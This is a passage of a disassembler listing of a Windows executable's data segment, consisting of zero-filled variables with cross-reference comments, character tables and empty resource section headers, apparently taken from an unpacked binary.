dword_4CAF60	dd 0			; DATA XREF: sub_409B12+44Cw
					; sub_409B12+4AEr ...
dword_4CAF64	dd 0			; DATA XREF: sub_409B12+199w
					; sub_409B12+1DAr ...
dword_4CAF68	dd 0			; DATA XREF: sub_409B12+365w
					; sub_409B12+3BAr ...
dword_4CAF6C	dd 0			; DATA XREF: sub_409B12+AA2w
dword_4CAF70	dd 0			; DATA XREF: sub_409B12+5DCw
					; sub_409B12+748r ...
dword_4CAF74	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5153r ...
dword_4CAF78	dd 0			; DATA XREF: sub_409B12+4Bw
					; sub_409B12+C2r ...
dword_4CAF7C	dd 0			; DATA XREF: sub_409B12+473w
					; sub_409B12+4CBr ...
dword_4CAF80	dd 0			; DATA XREF: sub_409B12+165w
					; sub_409B12+1BAr ...
dword_4CAF84	dd 0			; DATA XREF: sub_409B12+9FFw
					; sub_409B12+A5Br ...
dword_4CAF88	dd 0			; DATA XREF: sub_409B12+685w
					; sub_409B12+7ACr ...
dword_4CAF8C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B6r ...
dword_4CAF90	dd 0			; DATA XREF: sub_409B12+C1Bw
					; sub_409B12+C47r
dword_4CAF94	dd 0			; DATA XREF: sub_409B12+3Ew
					; sub_409B12+BAr ...
dword_4CAF98	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B12+298w ...
dword_4CAF9C	dd 0			; DATA XREF: sub_409B12+651w
					; sub_409B12+78Cr ...
dword_4CAFA0	dd 0			; DATA XREF: sub_409B12+637w
					; sub_409B12+77Cr ...
dword_4CAFA4	dd 0			; DATA XREF: sub_401ACD+73B9r
					; sub_409B12+C92w
dword_4CAFA8	dd 0			; DATA XREF: sub_409B12+879w
					; ___:004168D5r ...
dword_4CAFAC	dd 0			; DATA XREF: sub_409B12+112w
dword_4CAFB0	dd 0			; DATA XREF: sub_409B12+BE7w
					; sub_409B12+C22r
dword_4CAFB4	dd 0			; DATA XREF: sub_401ACD+2FE4r
					; sub_401ACD+5F98r ...
dword_4CAFB8	dd 0			; DATA XREF: sub_409B12+459w
					; sub_409B12+4BBr ...
dword_4CAFBC	dd 0			; DATA XREF: sub_409B12+49Aw
					; sub_409B12+4E3r ...
dword_4CAFC0	dd 0			; DATA XREF: sub_409B12+466w
					; sub_409B12+4C3r ...
dword_4CAFC4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D3r ...
dword_4CAFC8	dd 0			; DATA XREF: sub_409B12+1A6w
					; sub_409B12+1E2r ...
dword_4CAFCC	dd 0			; DATA XREF: sub_409B12+9F2w
					; sub_409B12+A53r ...
dword_4CAFD0	dd 0			; DATA XREF: sub_409B12+158w
					; sub_409B12+1ADr ...
dword_4CAFD4	dd 0			; DATA XREF: sub_409B12+8Cw
					; sub_409B12+E2r ...
dword_4CAFD8	dd 0			; DATA XREF: sub_409B12+610w
					; sub_409B12+764r ...
dword_4CAFDC	dd 0			; DATA XREF: sub_409B12+B43w
					; sub_409B12+B5Fr
dword_4CAFE0	dd 0			; DATA XREF: sub_409B12+33Aw
					; sub_419651+55r
dword_4CAFE4	dd 0			; DATA XREF: sub_409B12+27Ew
					; sub_409B12+2D3r ...
dword_4CAFE8	dd 0			; DATA XREF: sub_409B12+BAAw
dword_4CAFEC	dd 0			; DATA XREF: sub_409B12+AECw
					; sub_40AB31+CEr
dword_4CAFF0	dd 0			; DATA XREF: sub_409B12+ADFw
					; sub_409B12+AE6r ...
dword_4CAFF4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5132r ...
dword_4CAFF8	dd 0			; DATA XREF: sub_401ACD+5124r
					; sub_401ACD+7980r ...
dword_4CAFFC	dd 0			; DATA XREF: sub_409B12+BF4w
					; sub_409B12+C2Fr
dword_4CB000	dd 0			; DATA XREF: sub_401ACD+1E56r
					; sub_401ACD+5AEDr ...
dword_4CB004	dd 0			; DATA XREF: sub_409B12+9B1w
					; sub_409B12+A2Br ...
dword_4CB008	dd 0			; DATA XREF: sub_409B12+65Ew
					; sub_409B12+794r ...
dword_4CB00C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB010	dd 0			; DATA XREF: sub_409B12+59Bw
					; sub_409B12+70Cr ...
dword_4CB014	dd 0			; DATA XREF: sub_409B12+B36w
					; sub_409B12+B57r
dword_4CB018	dd 0			; DATA XREF: sub_409B12+540w
					; sub_409B12+6C4r ...
dword_4CB01C	dd 0			; DATA XREF: sub_409B12+B29w
					; sub_409B12+B4Ar
dword_4CB020	dd 0			; DATA XREF: ___:00401273r
					; sub_409B12+31w ...
dword_4CB024	dd 0			; DATA XREF: sub_409B12+17Fw
					; sub_409B12+1CAr ...
		dd 0
dword_4CB02C	dd 0			; DATA XREF: sub_409B12+927w
					; sub_409B12+93Br
dword_4CB030	dd 0			; DATA XREF: sub_409B12+99w
					; sub_409B12+EAr ...
dword_4CB034	dd 0			; DATA XREF: sub_409B12:loc_409C10w
					; sub_409B12+12Bw ...
dword_4CB038	dd 0			; DATA XREF: sub_409B12+126w
					; sub_40A7CE+1Cr
dword_4CB03C	dd 0			; DATA XREF: sub_409B12:loc_409D00w
					; sub_409B12:loc_409D67w ...
dword_4CB040	dd 0			; DATA XREF: sub_409B12+250w
					; sub_40A7CE+50r
dword_4CB044	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4567r ...
dword_4CB048	dd 0			; DATA XREF: sub_409B12+41Ew
					; sub_40A7CE+84r
dword_4CB04C	dd 0			; DATA XREF: sub_409B12:loc_40A016w
					; sub_40A7CE:loc_40A87Er
dword_4CB050	dd 0			; DATA XREF: sub_409B12+4FFw
					; sub_40A7CE+B8r
dword_4CB054	dd 0			; DATA XREF: sub_409B12:loc_40A2E7w
					; sub_40A7CE:loc_40A8B2r
dword_4CB058	dd 0			; DATA XREF: sub_409B12+7D0w
					; sub_40A7CE+ECr
dword_4CB05C	dd 0			; DATA XREF: sub_409B12:loc_40A3D2w
					; sub_409B12+8EFw ...
dword_4CB060	dd 0			; DATA XREF: sub_409B12+8EAw
					; sub_40A7CE+120r
dword_4CB064	dd 0			; DATA XREF: sub_401ACD:loc_406F17r
					; sub_409B12:loc_40A466w ...
dword_4CB068	dd 0			; DATA XREF: sub_409B12+94Fw
					; sub_40A7CE+154r
dword_4CB06C	dd 0			; DATA XREF: sub_401ACD+456Fr
					; sub_409B12:loc_40A582w ...
dword_4CB070	dd 0			; DATA XREF: sub_409B12+A6Bw
					; sub_40A7CE+188r
dword_4CB074	dd 0			; DATA XREF: sub_409B12:loc_40A5CCw
					; sub_40A7CE:loc_40A982r
dword_4CB078	dd 0			; DATA XREF: sub_409B12+AB5w
					; sub_40A7CE+1BCr
dword_4CB07C	dd 0			; DATA XREF: sub_409B12:loc_40A616w
					; sub_40A7CE:loc_40A9B6r
dword_4CB080	dd 0			; DATA XREF: sub_409B12+AFFw
					; sub_40A7CE+1F0r
dword_4CB084	dd 0			; DATA XREF: sub_409B12:loc_40A68Aw
					; sub_40A7CE:loc_40A9EAr
dword_4CB088	dd 0			; DATA XREF: sub_409B12+B73w
					; sub_40A7CE+224r
dword_4CB08C	dd 0			; DATA XREF: sub_409B12:loc_40A6D4w
					; sub_40A7CE:loc_40AA1Er
dword_4CB090	dd 0			; DATA XREF: sub_409B12+BBDw
					; sub_40A7CE+258r
dword_4CB094	dd 0			; DATA XREF: sub_409B12:loc_40A772w
					; sub_40A7CE:loc_40AA52r
dword_4CB098	dd 0			; DATA XREF: sub_409B12+C5Bw
					; sub_40A7CE+28Cr
dword_4CB09C	dd 0			; DATA XREF: sub_409B12:loc_40A7BCw
					; sub_40A7CE:loc_40AA86r
dword_4CB0A0	dd 0			; DATA XREF: sub_409B12+CA5w
					; sub_40A7CE+2C0r
dword_4CB0A4	dd 7 dup(0)		; DATA XREF: sub_40AC0F+32o
dword_4CB0C0	dd 0			; DATA XREF: sub_40BA56+18r
					; sub_40BFEB+92w ...
dword_4CB0C4	dd 0			; DATA XREF: sub_40C124+4Dr
					; sub_40C124+2F1w ...
dword_4CB0C8	dd 7FEh	dup(0)
dword_4CD0C0	dd 6 dup(0)		; DATA XREF: sub_40C124+D2o
					; sub_40C124+13Bo ...
dword_4CD0D8	dd 0			; DATA XREF: sub_40BACD+2C4w
					; sub_40BACD+348o
dword_4CD0DC	dd 0			; DATA XREF: sub_40BACD+33Ew
					; sub_40BACD+35Ar
dword_4CD0E0	dd 0			; DATA XREF: sub_40BACD+2CFw
dword_4CD0E4	dd 0			; DATA XREF: sub_40BACD+2B9w
					; sub_40BACD:loc_40BDE2r
dword_4CD0E8	dd 20h dup(0)		; DATA XREF: sub_40BACD+2E2o
					; sub_40BACD+302o
dword_4CD168	dd 0			; DATA XREF: sub_40BACD+2D5w
dword_4CD16C	dd 0			; DATA XREF: sub_40BACD+2EFw
					; sub_40BACD+30Fw
dword_4CD170	dd 0			; DATA XREF: sub_40BACD:loc_40BE3Dr
		align 8
dword_4CD178	dd 0			; DATA XREF: sub_40BACD+82w
					; sub_40BACD+101o
dword_4CD17C	dd 41h dup(0)		; DATA XREF: sub_40BACD+41o
dword_4CD280	dd 41h dup(0)		; DATA XREF: sub_40BACD+69o
dword_4CD384	dd 0			; DATA XREF: sub_40BACD+F7w
					; sub_40BACD+113r
dword_4CD388	dd 0			; DATA XREF: sub_40BACD+52w
dword_4CD38C	dd 0			; DATA XREF: sub_40BACD+4Dw
					; sub_40BACD+D4r
dword_4CD390	dd 20h dup(0)		; DATA XREF: sub_40BACD+9Ao
					; sub_40BACD+BAo
dword_4CD410	dd 0			; DATA XREF: sub_40BACD+8Fw
dword_4CD414	dd 0			; DATA XREF: sub_40BACD+A7w
					; sub_40BACD+C7w
dword_4CD418	dd 0			; DATA XREF: sub_40BACD:loc_40BBF6r
		align 10h
dword_4CD420	dd 0			; DATA XREF: sub_40BACD+1A5w
					; sub_40BACD+225o
dword_4CD424	dd 41h dup(0)		; DATA XREF: sub_40BACD+167o
dword_4CD528	dd 41h dup(0)		; DATA XREF: sub_40BACD+18Co
dword_4CD62C	dd 0			; DATA XREF: sub_40BACD+21Bw
					; sub_40BACD+237r
dword_4CD630	dd 0			; DATA XREF: sub_40BACD+17Aw
dword_4CD634	dd 0			; DATA XREF: sub_40BACD+175w
					; sub_40BACD+1F8r
dword_4CD638	dd 20h dup(0)		; DATA XREF: sub_40BACD+1BEo
					; sub_40BACD+1DEo
dword_4CD6B8	dd 0			; DATA XREF: sub_40BACD+1B1w
dword_4CD6BC	dd 0			; DATA XREF: sub_40BACD+1CBw
					; sub_40BACD+1EBw
dword_4CD6C0	dd 0			; DATA XREF: sub_40BACD:loc_40BD1Ar
		align 8
dword_4CD6C8	dd 0			; DATA XREF: sub_40BACD+417w
					; sub_40BACD+470o
dword_4CD6CC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACD+405o
dword_4CD954	dd 41h dup(0)		; DATA XREF: sub_40BACD+3CFo
dword_4CDA58	dd 0			; DATA XREF: sub_40BACD+3FCw
					; sub_40BACD+423r
		align 10h
dword_4CDA60	dd 0			; DATA XREF: sub_40BACD+466w
					; sub_40BACD+482r
dword_4CDA64	dd 0			; DATA XREF: sub_40BACD+429w
dword_4CDA68	dd 0			; DATA XREF: sub_40BACD+436w
dword_4CDA6C	dd 0			; DATA XREF: sub_40BACD+3F6w
		dd 0
dword_4CDA74	dd 0			; DATA XREF: sub_40BACD:loc_40BF65r
		dd 0
dword_4CDA7C	dd 0			; DATA XREF: sub_40B719+Er
					; sub_40B719+32r
dword_4CDA80	dd 0			; DATA XREF: sub_40B719+9r
					; sub_40B719+26r
dword_4CDA84	dd 82h dup(0)		; DATA XREF: sub_40C59B+8Do
dword_4CDC8C	dd 2 dup(0)		; DATA XREF: sub_40CF04+68o
dword_4CDC94	dd 0			; DATA XREF: sub_40D89F+8w
					; ___:0040DC6Eo
		dd 0
dword_4CDC9C	dd 2 dup(0)		; DATA XREF: ___:0040DBA4o
dword_4CDCA4	dd 0			; DATA XREF: ___:0040E4D7r
		dd 0
		dd 0
dword_4CDCB0	dd 0			; DATA XREF: ___:0040E4AAr
dword_4CDCB4	dd 0			; DATA XREF: ___:0040E48Cr
					; ___:0040E4F5r
		dd 0
dword_4CDCBC	dd 0			; DATA XREF: sub_40BACD+2AEr
					; ___:0040E6E8w
		dd 0
dword_4CDCC4	dd 0			; DATA XREF: sub_40B785+1Cr
dword_4CDCC8	dd 0			; DATA XREF: ___:0040EFE8w
					; ___:0040F00Fr ...
		dd 3 dup(0)
dword_4CDCD8	dd 0			; DATA XREF: ___:00410905r
		align 10h
dword_4CDCE0	dd 0			; DATA XREF: sub_412351+4w
					; sub_412351+9o
		dd 109h	dup(0)
dword_4CE108	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Eo
					; sub_401ACD:loc_404AC4o
dword_4CE728	dd 0			; DATA XREF: sub_401ACD+1A23w
					; sub_401ACD+2F66r ...
		dd 11Ch	dup(0)
dword_4CEB9C	dd 1000h dup(0)		; DATA XREF: sub_4151AC+1Do
					; sub_41524Co ...
dword_4D2B9C	dd 0			; DATA XREF: sub_4151AC+13o
					; sub_41524C+Eo ...
dword_4D2BA0	dd 0			; DATA XREF: sub_4155F7+Fr
					; sub_4157F0+12r
		align 8
dword_4D2BA8	dd 0Eh dup(0)		; DATA XREF: sub_416922+Fo
dword_4D2BE0	dd 80h dup(0)		; DATA XREF: sub_4175E9+41o
dword_4D2DE0	dd 200h	dup(0)		; DATA XREF: sub_416F1A+C7o
					; sub_417275+DDo ...
dword_4D35E0	dd 200h	dup(0)		; DATA XREF: sub_416F1A+D6o
					; sub_417275+F4o ...
dword_4D3DE0	dd 0			; DATA XREF: sub_416F1A+86w
					; sub_4170EC+94r
dword_4D3DE4	dd 0			; DATA XREF: sub_416F1A+A7w
					; sub_417552+55r ...
dword_4D3DE8	dd 0			; DATA XREF: sub_416F1A+A0w
					; sub_4170EC+D6r ...
dword_4D3DEC	dd 0			; DATA XREF: sub_416F1A+79w
					; sub_4170EC+35r ...
dword_4D3DF0	dd 80h dup(0)		; DATA XREF: sub_417552+5Eo
dword_4D3FF0	dd 0			; DATA XREF: sub_416F1A+93w
					; sub_4170EC+A2r
		align 8
dword_4D3FF8	dd 0			; DATA XREF: sub_416F1A+E7o
					; sub_416F1A+103r ...
dword_4D3FFC	dd 0			; DATA XREF: sub_417275+17Bw
					; sub_41741C+107w
dword_4D4000	dd 0			; DATA XREF: sub_417275+180w
					; sub_41741C+10Dw ...
dword_4D4004	dd 0			; DATA XREF: sub_417275+159w
					; sub_417552+4Fr
dword_4D4008	dd 0			; DATA XREF: sub_4178BA+22w
					; sub_4178BA:loc_417A3Fw ...
dword_4D400C	dd 0			; DATA XREF: sub_401ACD+3CC3o
					; sub_417788+12o ...
		dd 0
dword_4D4014	dd 0			; DATA XREF: sub_4178BA+1Cr
					; sub_417A5F+3Ar
		dd 4Eh dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437830o
		dd 30h dup(0)
dword_4D4214	dd 0			; DATA XREF: sub_4178BA+28r
					; sub_417A5F+4Aw
		dd 1944h dup(0)
dword_4DA728	dd 0			; DATA XREF: sub_417A5F+23o
dword_4DA72C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE1o
					; sub_417788+3Co ...
dword_4DA930	dd 17h dup(0)		; DATA XREF: sub_4187DD:loc_4188FAo
					; sub_4187DD+131o ...
dword_4DA98C	dd 80h dup(0)		; DATA XREF: sub_419593+7Co
					; sub_419593+A5o
dword_4DAB8C	dd 0			; DATA XREF: sub_418B58+45w
					; sub_418B58+4Dr ...
dword_4DAB90	dd 17h dup(0)		; DATA XREF: sub_41945F:loc_419581o
					; sub_41945F+12Do
dword_4DABEC	dd 80h dup(0)		; DATA XREF: sub_418A98+4Co
					; sub_418A98+7Eo ...
byte_4DADEC	db 0			; DATA XREF: sub_418B58+29r
					; sub_418B58+34w
		align 10h
dword_4DADF0	dd 80h dup(0)		; DATA XREF: sub_418DAF+61o
					; sub_418DAF+89o ...
dword_4DAFF0	dd 81h dup(0)		; DATA XREF: sub_4186C1:loc_4186F9o
					; sub_4186C1+5Bo
dword_4DB1F4	dd 0			; DATA XREF: sub_419A20:loc_419A41r
					; sub_419B0F+54r ...
dword_4DB1F8	dd 0			; DATA XREF: sub_419A20r
					; sub_419B0F+37r ...
dword_4DB1FC	dd 0			; DATA XREF: sub_419A50+1Ar
					; sub_419C64+83o
dword_4DB200	dd 0			; DATA XREF: sub_419A20:loc_419A34r
					; sub_419C64+11Bw
dword_4DB204	dd 0Dh dup(0)		; DATA XREF: sub_419B0F+13o
					; sub_419C64:loc_419DA1o
dword_4DB238	dd 0			; DATA XREF: sub_419B0F+CDr
					; sub_419B0F+ECr ...
		align 10h
dword_4DB240	dd 0Eh dup(0)		; DATA XREF: sub_41A88B+47o
dword_4DB278	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB27C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB280	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB294	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB298	dd 2430B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB2A0	dd 2430B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB2A4	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB2A8	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB2B0	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB2B8	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB2BC	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB2C0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB2C4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB2CC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB2D0	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB2D8	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB2DA	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB2DE	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB2E0	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB2E2	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB2E8	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB2F0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB2F4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB2F8	dd 0			; DATA XREF: sub_41F312r
dword_4DB2FC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB300	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB304	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB30C	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB310	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB314	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB318	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB31C	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DB320	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DB324	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DB328	dd 0			; DATA XREF: sub_42255C+29r
dword_4DB32C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DB334	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DB344	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DB34C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DB350	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB2B0o
		align 10h
		dd 3Ah dup(0)
dword_4DB458	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DB45C	dd 0			; DATA XREF: sub_423590+21r
dword_4DB460	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DB464	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DB468	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DB470	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DB472	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DB474	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DB490	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DB494	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DB498	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DB49C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DB4A0	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DB4A8	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DB4B0	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DB4B4	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DB4F4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DB4F6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DB4F8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DB4FA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DB4FC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DB4FE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DB500	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DB502	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DB504	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DB508	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DB548	dw 0			; DATA XREF: sub_424A4A+46r
word_4DB54A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DB54C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DB54E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DB550	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DB552	dw 0			; DATA XREF: sub_424A4A+55r
word_4DB554	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DB556	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DB558	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DB55C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DB560	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DB564	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DB568	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DB56C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DB570	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DB574	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DB578	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DB57C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DB580	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DB588	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DB58C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DB590	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DB594	db 0			; DATA XREF: sub_40D878r sub_40D878+9w
		align 4
dword_4DB598	dd 2431140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		align 10h
dword_4DB5A0	dd 400h	dup(0)		; DATA XREF: ___:off_43C9E8o
					; ___:0043C9F0o
dword_4DC5A0	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DC5C0	dd 2430650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DC5C4	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DC6C0	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DC6C4	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DC6D0	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DC6DC	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DC6E0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DC7E0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DC7E1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DC8E4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DC8E8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DC8EC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DC8F0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DC8F4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DC8F8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DC8FC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DC900	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DC904	dd 2430000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DC908	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DC90C	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DC910	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DC914	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DC918	dd 2430758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DC91C	dd 2430758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 1B8h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

